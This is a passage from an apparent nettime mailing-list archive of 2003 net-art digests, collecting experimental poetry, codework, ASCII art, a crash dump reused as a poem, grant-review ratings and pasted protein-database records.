{AT} hotkey.net.au>\nSubject: Re:  LED/LCD displays (4 images)\n\n\n------------=_1064239058-635-1016\n\nAt 10:55 PM 21/09/2003 -0500, you wrote:\n>continuing with the idea of an LED\n>numeric or alphanumeric display as\n>a new type of hardware\n\n\n_Sub.Mission[s]_\n09:48pm 22/09/2003\n   _Submission Details:_ Good thematic without being too obvious. The fact \nthat they are open to realistic hybrid-collaboration is good. Very \ncompetent cvs and professsionalism evident. Would work well with a more \nexperimentally-directed collaboration set.\n\n_Support Material:_\ni) Audio [xxxxxxx]: well-paced and innovative but slightly formulaic in \nterms of soundtrackesqueness. Might be a problem when seeking to pair with \na writer/txter than uses other benchmarkers in terms of actual xxxxx \nconstruction.\n\nii) Video [xxxxxx]: production stills illustrate competent visual \nreferencing and potential for image creation. Video constructions are \nfilmic in intent and slickly produced [high production values evident] but \npossibly too polished [rigid] for xxxxx unless paired with appropriate \ncollaborator.\n\n\nRATINGS:\n- ARTISTIC VALUE OF CONCEPT: 7/10\n- POTENTIAL FOR ARTISTIC REALISATION: 8/10\n- VALUE OF EXPERIENCE/INTERPRETED CAPACITY TO COMPLETE PROJECT: 9.5/10\n\n--\n\n\n_Submission Details:_ CV slightly sketchy due to the early stage of \ncareers. Submission concept more digitally inclined which is promising, but \noverall limited strength of submission direction.\n\n_Support Material:_\ni) Videos: good integration of digital affects, less centred on fimic \nconventions. Nice reworking of video material.\n\nii) Text: Less strong in terms of supporting submission.\n\nRATINGS:\n- ARTISTIC VALUE OF CONCEPT: 6.5/10\n- POTENTIAL FOR ARTISTIC REALISATION: 7/10\n- VALUE OF EXPERIENCE/INTERPRETED CAPACITY TO COMPLETE PROJECT: 8/10\n\n--\n\n\n_Submission Details:_ Extremely integrated collaborative team is evident \nthru proposal. Such employment of heavy mono-directed themes [eg cvs and \nconceptual nature of submission] seems not as relevant towards xxxxxx aims \n+ emphasis on 2-fold narrative process less than applicable to xxxxxx in \nterms of the quality of other, more appropriate applicants.\n\n_Support Material:_\ni) Audio: xxxxx : etheral + performative in nature.\nxxxxxx: experimental, interesting. focus less on fractured soundscapes + \nmore on directed audio.\n\nii) Text [various]: Good level of writing skills but again, more focused on \ntraditional execution than seems relevant to here.\n\n\nRATINGS:\n- ARTISTIC VALUE OF CONCEPT: 6/10\n- POTENTIAL FOR ARTISTIC REALISATION: 6/10\n- VALUE OF EXPERIENCE/INTERPRETED CAPACITY TO COMPLETE PROJECT: 7/10\n\n--\n\n\n\n_Submission Details:_ Very traditional in expressive orientation and \ncollaborative structuring [ie sticking to defined fields of expertise]. Not \novertly relevant or appropriate to xxxxxxx.\n\n_Support Material:_\nii) Text [script + poetry + fiction]: Again, too heavily boxed in terms of \nacceptable methods of creative output.\n\nRATINGS:\n- ARTISTIC VALUE OF CONCEPT: 4/10\n- POTENTIAL FOR ARTISTIC REALISATION: 5/10\n- VALUE OF EXPERIENCE/INTERPRETED CAPACITY TO COMPLETE PROJECT: 6/10\n\n--\n\n\n\n_Submission Details:_ Brings interesting background to this project [ie \nscience oriented] but not totally appropriate in terms of cv or support \nmaterial.\n\n\nRATINGS:\n- ARTISTIC VALUE OF CONCEPT: 6/10\n- POTENTIAL FOR ARTISTIC REALISATION: 6/10\n- VALUE OF EXPERIENCE/INTERPRETED CAPACITY TO COMPLETE PROJECT: 5/10\n\n--\n\n\n\n_Submission Details:_ Excellent concept/proposal.\n\n\nRATINGS:\n- ARTISTIC VALUE OF CONCEPT: 8/10\n- POTENTIAL FOR ARTISTIC REALISATION: 8/10\n- VALUE OF EXPERIENCE/INTERPRETED CAPACITY TO COMPLETE PROJECT: 9/10\n\n--\n\n\n\n_Submission Details:_ Nice open-ended ambiguity in terms of expectations \nand creative control in regards to project. Could work well if paired with \ngraffiti oriented artist[s].\n\n_Support Material:_\ni) Text: Straight poetry that reads as hip-hop [lyrically].\n\nRATINGS:\n- ARTISTIC VALUE OF CONCEPT: 6/10\n- POTENTIAL FOR ARTISTIC REALISATION: 6/10\n- VALUE OF EXPERIENCE/INTERPRETED CAPACITY TO COMPLETE PROJECT: 8/10\n\n--\n\n\n\n_Submission Details:_\n\n_Support Material:_\ni) Audio:\n\nii) Text:\n\n\nRATINGS:\n- ARTISTIC VALUE OF CONCEPT: 6/10\n- POTENTIAL FOR ARTISTIC REALISATION: 6/10\n- VALUE OF EXPERIENCE/INTERPRETED CAPACITY TO COMPLETE PROJECT: 7/10\n\n\n\n\n- pro][rating][.lucid.txt\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\nhttp://www.livejournal.com/users/netwurker/\n_\n_cr[xxx]oss ova.ring.\n\n\n------------=_1064239058-635-1016\nContent-Disposition: inline; filename=\"message-footer.txt\"\n\n\n-----Syndicate mailinglist-----------------------\nSyndicate network for media culture and media art\ninformation and archive: http://anart.no/~syndicate\nto post to the Syndicate list: <syndicate {AT} anart.no>\nShake the KKnut: http://anart.no/~syndicate/KKnut\nno commercial use of the texts without permission\n------------=_1064239058-635-1016--\n\n\n\n\n\nnettime unstable digest vol 66\nMon Sep 29 21:59:02 2003\n\n\nSubject: Undelivered Mail Returned to Sender\n    From: MAILER-DAEMON {AT} mail.ljudmila.org (Mail Delivery System)\n    To: cantsin {AT} zedat.fu-berlin.de\n\nSubject: entelechy of every abandoned moment\n    From: Lanny Quarles <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: i'm here\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: caaist/English/Graphics/Englishaist/English/Graphics/Englishaist/English/G\n    From: 404 <404 {AT} jodi.org>\n    To: syndicate {AT} anart.no\n\nSubject: wake up syndicate and wash your face\n    From: fmadre {AT} free.fr\n    To: syndicate {AT} anart.no\n\nSubject: AFTER BECKETT'S THE LOST ONES\n    From: MWP <mpalmer {AT} JPS.NET>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: _Squashed Tele.biology_  +  _Currenc.E of Game.a Narra.tiff [Fr]Actu[re]als\n    From: \"net.l[w]urker\" <netwurker {AT} HOTKEY.NET.AU>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Cr/stoK/no>s.t.o. XX X\n    From: Shaun Hanson <sbh20 {AT} HOTMAIL.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Another try at a Code Poem\n    From: \"edx\" <edwork {AT} netvigator.com>\n    To: \"Florian Cramer\" <cantsin {AT} zedat.fu-berlin.de>,\n\nSubject: Re:  LED/LCD displays (4 images)\n    From: \"net.l[w]urker\" <netwurker {AT} hotkey.net.au>\n    To: syndicate {AT} anart.no\n\n\n\nlurking editors\n\nbeatrice beaubien <webmaven {AT} i2eye.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Mon, 29 Sep 2003 21:59:56 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200309300122.h8U1MZ517461 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0309/msg00155.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 66"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00099",
                "content": "\nDate: Fri, 19 Sep 2003 12:17:52 +0100\nFrom: Ana Buigues <abuigues {AT} WANADOO.ES>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: error de [ISO-8859-1] p=E1gina no [ISO-8859-1] v=E1lida\n\nIEXPLORE provoc\u00f3 un error de p\u00e1gina no v\u00e1lida en el\nm\u00f3dulo HTTP3260.DLL de 016f:62352039.\nRegistros:\nEAX=80004002 CS=016f EIP=62352039 EFLGS=00010297\nEBX=04600100 SS=0177 ESP=0058d578 EBP=0058d57c\nECX=60b86a18 DS=0177 ESI=046002bf FS=3987\nEDX=00000044 ES=0177 EDI=00000000 GS=0000\nBytes en CS:EIP:\n,02x ,02x ,02x ,02x ,02x ,02x ,02x ,02x ,02x ,02x ,02x ,02x ,02x ,02x ,02x ,02x\nVolcado de pila:\n,08x ,08x ,08x ,08x ,08x ,08x ,08x ,08x ,08x ,08x ,08x ,08x ,08x ,08x ,08x ,08x\n\n\n\n\n\n\nnothing works lately\neverything is wrong\n\n\ni keep hating computers\n\n\ni don't even understand what this 'error de p\u00e1gina no v\u00e1lida' is or know how to fix it\n\ndo i want to fix it?\n\ni need to access that page\n\ndo i have time to fix it?\n\nno\n\ndo i have the knowledge to fix it?\n\nno\n\nwhy not?\n\n\n\nnothing makes sense\n\ni just wanted to work on my thesis, is that so much to ask?\n\nlife with computers sucks\n\n\n\nDate: Tue, 16 Sep 2003 17:00:13 -0700\nFrom: Joe Gray <joegray {AT} thelittlecity.com>\nTo: syndicate {AT} anart.no\nSubject: :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,\n\n)0(-=- )0({O} )0(-=- )0({O} )0(-:':.,.:': :':.,.:': :':.,.:': :':.,.:':\n:':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n:':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n:':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n:':.,.:': :'        `\n>>>>>      ,            '':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> } )0(-=- )0({O} )0(-=- )0({O} )0(-=- )0({O} :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :'0({O =- )0({O} )0(-=-\n>>> )0({O} )0(-=- )0({O} )0(-=- )0({O} )0(-=- )0(\n>> =- )0({O} )0(-=- )0({O} )0(-=- )0({O} )0(: )0({O} )0(-=- ) )0({O}\n>> )0(-=- )0(\n>>>>>          ,              ,              ,\n>>>>                   *                              *\n>>>         )           .,        * `\n>>>>                           *                           *\n>>>                             *\n\n>>>> :':.,.:': :':.,.:': :':.,.:': -=- )0({O} )0(-=-:':.,.:': :':.,.:':\n>>>> :':.,.:':\n\n>>>  :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :=- )0({O} )0(-=- )0({O} )0(-=- )0({O} )0(-=- )0 :\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,. :.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': ::': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':. :.,.:': :':.,.:': :':.,.:': ({O}\n>>> )0(-=- )0(\n>>> =- )0({O} )0(-=- )0({O} )0(-=- )0({O} )0(-=- )0({O} )0(-=- )0(}\n>>> )0(-=- )0({O} )0(-=- )0({O} )0(-=- )0({O} )0(-=- )0({O )0(=- )0({O}\n>>> )0(-=- )0({O} )0(-=- )0({O      ,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :'} )0(-=-:.,.:':':.,.:': :':.,.:': :':.,.:':\n>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': >>> :':.,.:':\n>>> )0(-=- )0({O} )0(-=- )0({O :'           *    `\n>>>        )-                           *   '-          `\n>>>>                  )(         *                '\n>>>>   :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:'::.,.:': :' :':.,.:':\n>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': =-.,.:':\n>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>> :':.,.:': :':.,.:': :':.,.:': =- )0({O} )0(-=- )0({O =- )0({O .:':\n>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :'':.,.:':\n>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>> :':.,.:':} )0(-=- )0({O} )0(-=- )0({O} )0(-=- )0({O} )0(-=- )0(}\n>>>> )0(-=- )0({O} )0(-=- )0({O} )0(-=- )0({O} )0(-=- )0({O} )0(-:':\n>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>> :':.,.:': :':.,\n>>>>>>>>>>>>>>>\n>>>>>>>>>>>>>>>>>>\n>>>>>>>>>>>>>>>>>>>>>>\n>>>> .:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>> :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n>>>> :':.,.:': :':.,\n:':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:':\n:':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.\n>>>>>>>>>>>>>>>>>>>\n>>>\n>>>>                   *    `\n>>>        )-                           *   '-          `\n>>>>                  )(         *                '\n>>>>            `\n>>>>>          ,              ,              ,\n>>>>                   *                              *\n>>>         )           .,        * `\n>>>>                           *                           *\n>>>                             *\n>>>>>      ,            '\n>>>>>>>\n>>>> ;\n>>>>>                                   `\n>>>>>      ,\n>>>>\n>>>>\n>>>>\n>>>\n>>>\n>>\n\n\n\n\nTo: list {AT} rhizome.org,o-o {AT} konf.lt,_arc.hive_ {AT} lm.va.com.au,\nFrom: \"net.l[w]urker\" <netwurker {AT} hotkey.net.au>\nSubject: _g.lewd pub[l]ic_  08:44am 18/09/2003\nDate: Thu, 18 Sep 2003 08:50:13 +1000\n\n_g.lewd pub[l]ic_  08:44am 18/09/2003\n\n\n  --switch in2:\n\n\nwelcum:not[e]ing:+:drag.fish.net[wurk]ing\n\n--via.libido.[str]angles\n--arc.ing.silk.+ pushing.tin[ned emotional bleeding]\n--sittin.drenched.in.reversable.affective.glo[SS]wing\n\n--i.w[l]ilt.thru.voicelessness.\n\n\n:(\n_____________________________________\n\n_hair.data.Prin[t].cess_     08:44am 05/09/2003\n\n\n_conception.thru.a.scar.spoon_\n_[bl]own.blossoms.in.looped.fe[e]back.gloss_\n_rippingNwaning.via.blandesque.caramelle.jerks_\n\n\n\n\n_layered N drossed_\n_b.ox.ing.in2.terror.formers_\n_kic.king[/prin(t)cessing] N flossing_\n\n_____________________________________________\n\n\n_D[C|R]a[sh]ta_   11:03am 28/08/2003\n\n\n_G|Raft singular\n\n[rose.planting + p|etal.bash.ing]\n[drowning.in.(the)sub.lim(e)it.y]\n[i.c(++)ed.up.+.crashing.the.in.fo(r)m]\n\n_Crashin_vs_the Opu.Lent\n\n[dragging_physical + lagging_m.o(f.fur.ings)tives]\n\n\n\n.\n\n\n\n\n\n- pro][rating][.lucid.txt\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\nhttp://www.livejournal.com/users/netwurker/\n_\n_cr[xxx]oss ova.ring.\n\n\n\nFrom: \"edx\" <edwork {AT} netvigator.com>\nTo: \"Lanny Quarles\" <solipsis {AT} hevanet.com>,\nSubject: Another try at \"Executable Text\", in VBScript\nDate: Sun, 14 Sep 2003 15:20:11 -0400\n\nBEGIN\n\nSub Main( arg a )\n    I'mNotThinking(a);\n    return 1;\nEnd Sub\n\nSub WhileI'mNotThinking(arg a)\n    a.Present();\n    While Not a.Event.Argument == vbStop\n    {\n        so Long As ( [white ray dividing paper], [ words make no sense] )\n        {\n            Align();\n            Align  Code to Being();\n            Align Praxis to Output();\n            Align Vision to Optics();\n            Align Sound to Math();\n            ReAlign, there is a 'rabbit' free......\n        }\n        Do.....\n        {\n            Continue.\n        }\n        End Do.\n    } Present(); Repeat();\nEnd Sub\n\nEND\n\nDOES NOT COMPILE!!!!\n\n\n\n\n\nDate:         Wed, 17 Sep 2003 22:32:34 -0700\nFrom: Lanny Quarles <solipsis {AT} HEVANET.COM>\nSubject: Fw: Prairie Tower\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nPrairie Tower [The Woman Who Did! by Grant Allen [Alan] 1848-99]\nSomnabulist Gateway of \"Deelish\"\n\nPOSTurban/grouse/ sexuality of feathered sacs/\n\nsexuality of feathered sacs/ tethered to fond mnemosine\nsexuality of feathered sacs/ tethered to explosion's engram\nsexuality of feathered sacs/ tethered to blue sky adjacent tragedy\nsexuality of feathered sacs/ tethered to human integrin [saliva of\nbystander]\nsexuality of feathered sacs/ tethered to aerial spectacle of devolving\n|T|H|E{|O|S}\nsexuality of feathered sacs/ tethered to silicon (manufactured skulls)\nsexuality of feathered sacs/ tethered to Prairie Towers\nsexuality of feathered sacs/ tethered to UN Tower under cover of vines\ngrowing corpses\nsexuality of feathered sacs/ tethered to Unitary display characteristics\nsexuality of feathered sacs/ tethered to devolving engram of exploding\ntheology\nsexuality of feathered sacs/ tethered to devolving telos of exploding engram\nsexuality of feathered sacs/ tethered to hypoiconic noise of\nconsciousnessprotein\nsexuality of feathered sacs/tethered to groin, anus, eyelids, corona,\nlabiamajorum\nsexuality of feathered sacs/tethered to groan, assault, field of daisies,\ntombstone production rates, length of jissomarc\nsexuality of feathered sacs/tethered to brownskin, orangeskin, greenskin,\nblueskin, masturbation, comma\nsexuality of feathered sacs/tethered to cunnilinguis, fellatio of unnumbered\nstatistics, coma, periplum of breasts, clothing, buttocks, noses\n\n\n /organism=\"Homo sapiens\"\n                     /db_xref=\"taxon:9606\"\n     SecStr          2..9\n                     /sec_str_type=\"sheet\"\n                     /note=\"strand 1\"\n     SecStr          23..32                     /sec_str_type=\"helix\"\n                     /note=\"helix 1\"     SecStr          34..39\n                     /sec_str_type=\"sheet\"                     /note=\"strand\n2\"\n     SecStr          51..58\n                     /sec_str_type=\"sheet\"\n                     /note=\"strand 3\"\n     SecStr          59..72\n                     /sec_str_type=\"helix\"\n                     /note=\"helix 2\"\n\n1: 1DT4 A 0\nChain A, Domain 0, Crystal Structure Of Nova-1 Kh3 K-Homology Rna-Binding\nDomain\n[sdi:38065]\n2: 1KHM A 0\nChain A, Domain 0, C-Terminal Kh Domain Of Hnrnp K (Kh3)\n[sdi:36665]\n3: 1DLO B 4\nChain B, Domain 1, Human Immunodeficiency Virus Type 1\n[sdi:12865]\n4: 1DTJ C 0\nChain C, Domain 0, Crystal Structure Of Nova-2 Kh3 K-Homology Rna-Binding\nDomain\n[sdi:37951]\n5: 1RTD D 11\nChain D, Domain 1, Structure Of A Catalytic Complex Of Hiv-1 Reverse\nTranscriptase: Implications For Nucleoside Analog Drug Resistance\n[sdi:36964]\n6: 1BE4 C 0\nChain C, Domain 0, Nucleoside Diphosphate Kinase Isoform B From Bovine\nRetina\n[sdi:26662]\n7: 1ELO   3\nDomain 3, Elongation Factor G Without Nucleotide\n[sdi:12844]\n8: 1NSP   0\nDomain 0, Nucleoside Diphosphate Kinase (E.C.2.7.4.6)\n[sdi:8608]\n9: 1BUX A 0\nChain A, Domain 0, 3'-Phosphorylated Nucleotides Binding To Nucleoside\nDiphosphate Kinase\n[sdi:28183]\n10: 1RTD B 5\nChain B, Domain 1, Structure Of A Catalytic Complex Of Hiv-1 Reverse\nTranscriptase: Implications For Nucleoside Analog Drug Resistance\n[sdi:36956]\n11: 1CJU A 0\nChain A, Domain 0, Complex Of Gs-Alpha With The Catalytic Domains Of\nMammalian\nAdenylyl Cyclase: Complex With Beta-L-2',3'-Dideoxyatp And Mg\n[sdi:33707]\n12: 1OTP   2\nDomain 2, Structural And Theoretical Studies Suggest Domain Movement\nProduces An\nActive Conformation Of Thymidine Phosphorylase\n[sdi:25756]\n13: 1KDN C 0\nChain C, Domain 0, Structure Of Nucleoside Diphosphate Kinase\n[sdi:15831]\n14: 2FMR   0\nDomain 0, Kh1 From The Fragile X Protein Fmr1, Nmr, 18 Structures\n[sdi:21787]\n15: 2BEF A 0\nChain A, Domain 0, Crystal Structure Of Ndp Kinase Complexed With Mg, Adp,\nAnd\nBef3\n[sdi:24261]\n16: 1QE1 B 5\nChain B, Domain 1, Crystal Structure Of 3tc-Resistant M184i Mutant Of Hiv-1\nReverse Transcriptase\n[sdi:39244]\n17: 2JEL P 0\nChain P, Domain 0, Jel42 FabHPR COMPLEX\n[sdi:22143]\n18: 1CLI A 2\nChain A, Domain 2, X-Ray Crystal Structure Of Aminoimidazole Ribonucleotide\nSynthetase (Purm), From The E. Coli Purine Biosynthetic Pathway, At 2.5 A\nResolution\n[sdi:31958]\n19: 1NDP A 0\nChain A, Domain 0, Nucleoside Diphosphate Kinase (E.C.2.7.4.6) Complexed\nWith\nAdp\n[sdi:4178]\n20: 1CJV A 0\nChain A, Domain 0, Complex Of Gs-Alpha With The Catalytic Domains Of\nMammalian\nAdenylyl Cyclase: Complex With Beta-L-2',3'-Dideoxyatp, Mg, And Zn\n[sdi:33712]\n\n38065\n\n1: pfam03858\nCrust_neuro_H: Crustacean neurohormone H. These proteins are referred to as\nprecursor-related peptides as they are typically co-transcribed and\ntranslated\nwith the CHH neurohormone (pfam01147). However, in some species this\nneuropeptide is synthesised as a separate protein. Furthermore, neurohormone\nH\ncan undergo proteolysis to give rise to 5 different neuropeptides.\n[pfam03858|8785]\n\n                     10        20        30        40        50        60\n               ....*....|....*....|....*....|....*....|....*....|....*....|\nconsensus    1 MFSKTNLFLCLSLAILLIVISSQADAREMS-KASAPITQAMNSNNITEQKK-----VGRH\n54\ngi 170341    1 MFSKTNLFLCLSLAILLIVISSQADARETS-KATAPITQEMNSNNTTDQKIpkrpkPGGN\n59\ngi 6689818   1 MFSKTNLFLCLSLAILLIVISSQADAREMS-KAAAPITHAMNSNNITNQKT------GAG\n53\ngi 6601329   1 MVSKSSIFICLSL-IILVIMSTQIVAREMTsEASASLTQAMNGNNISETKK-----VGRH\n54\n\n\n                       70        80        90       100\n               ....*....|....*....|....*....|....*....|....*....\nconsensus   55 IVKKLD-------QICSKIFKAGKV-IAGKTCKICSCKTQICSKCPKCH 95\ngi 170341   60 IFGKACkicpckyQICSKCPKCDDQnIAGKFCKICSCKTQICSKCPKCH 108\ngi 6689818  54 IIRKIP-------GWIRKGAKPGGK-VAGKACKICSCKYQICSKCPKCH 94\ngi 6601329  55 LVKGLD-----------KIFKAGKV-IYCKTCKTCHGR---CDYC--CA 86\n\n\nLOCUS       AAF23855                  95 aa            linear   PLN\n11-JAN-2000\nDEFINITION  unknown [Nicotiana tabacum].\nACCESSION   AAF23855\nVERSION     AAF23855.1  GI:6689818\nDBSOURCE    locus U64815 accession U64815.1\nKEYWORDS    .\nSOURCE      Nicotiana tabacum (common tobacco)\n  ORGANISM  Nicotiana tabacum\n            Eukaryota; 